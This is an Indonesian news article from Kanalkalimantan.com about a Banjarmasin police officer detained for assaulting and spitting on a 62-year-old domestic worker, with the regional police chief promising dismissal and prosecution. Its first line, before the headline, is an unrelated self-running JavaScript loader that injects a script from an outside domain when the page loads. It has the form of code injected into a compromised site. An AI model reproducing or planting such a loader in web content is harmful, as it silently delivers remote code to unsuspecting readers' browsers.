(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Polisi Aniaya dan Ludahi ART, Kapolda Kalsel Perintah Harus Disanksi Tegas

KANALKALIMANTAN.COM, MARTAPURA – Seorang oknum polisi di Banjarmasin dinyatakan sebagai tersangka penganiayaan terhadap seorang lansia yang jadi asisten rumah tangga (ART).

Korban MW (62) merupakan ART yang bekerja di rumah Bripka JD, anggota Kepolisian Sektor Banjarmasin Timur.

Penganiayaan ini terjadi pada Senin (1/5/2023) di rumah oknum polisi, Jalan Ahmad Yani Km 14, Kecamatan Gambut, Kabupaten Banjar, Provinsi Kalimantan Selatan (Kalsel).

Kejadian ini pun langsung dilaporkan keluarga korban ke Polsek Gambut, lantaran MW didapati luka memar pada bagian wajah dan kepala.

Kapolda Kalimantan Selatan Irjen Pol Andi Rian Djajadi mengakui bahwa Bripka JD saat ini sudah ditahan dan ditempatkan di Patsus atau tempat khusus di balik jeruji besi.

“Yang bersangkutan saat ini melalui tindakan disiplin sudah di Patsus yakni ditempatkan di tempat khusus, ditahan,” kata Kapolda Kalsel Irjen Pol Andi Rian Djajadi, Rabu (3/5/2023).

Meski sudah ditetapkan menjadi tersangka namun hingga Kamis (4/5/2023), kronologis lengkap kejadian, pihak Polres Banjar melalui Kasi Humas Polres Banjar Iptu Suwarji belum memberikan keterangan resmi saat dihubungi Kanalkalimantan.com.

Sementara Kapolda Kalsel memastikan saat ini proses pemeriksaan masih berjalan. Begitu pun dengan pemidanaan yang akan terus berjalan, mulai dari pemeriksaan, penahanan, sampai dengan pencopotan jabatan dari kepolisian.

“Sudah saya perintahkan Kapolresta untuk dicopot dan proses, serta diperiksa, dan kita tunggu proses pemidanaannya, sedangkan saat ini yang bersangkutan sudah ditahan di Patsus, jadi untuk pidana jalan terus,” tegas Kapolda. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie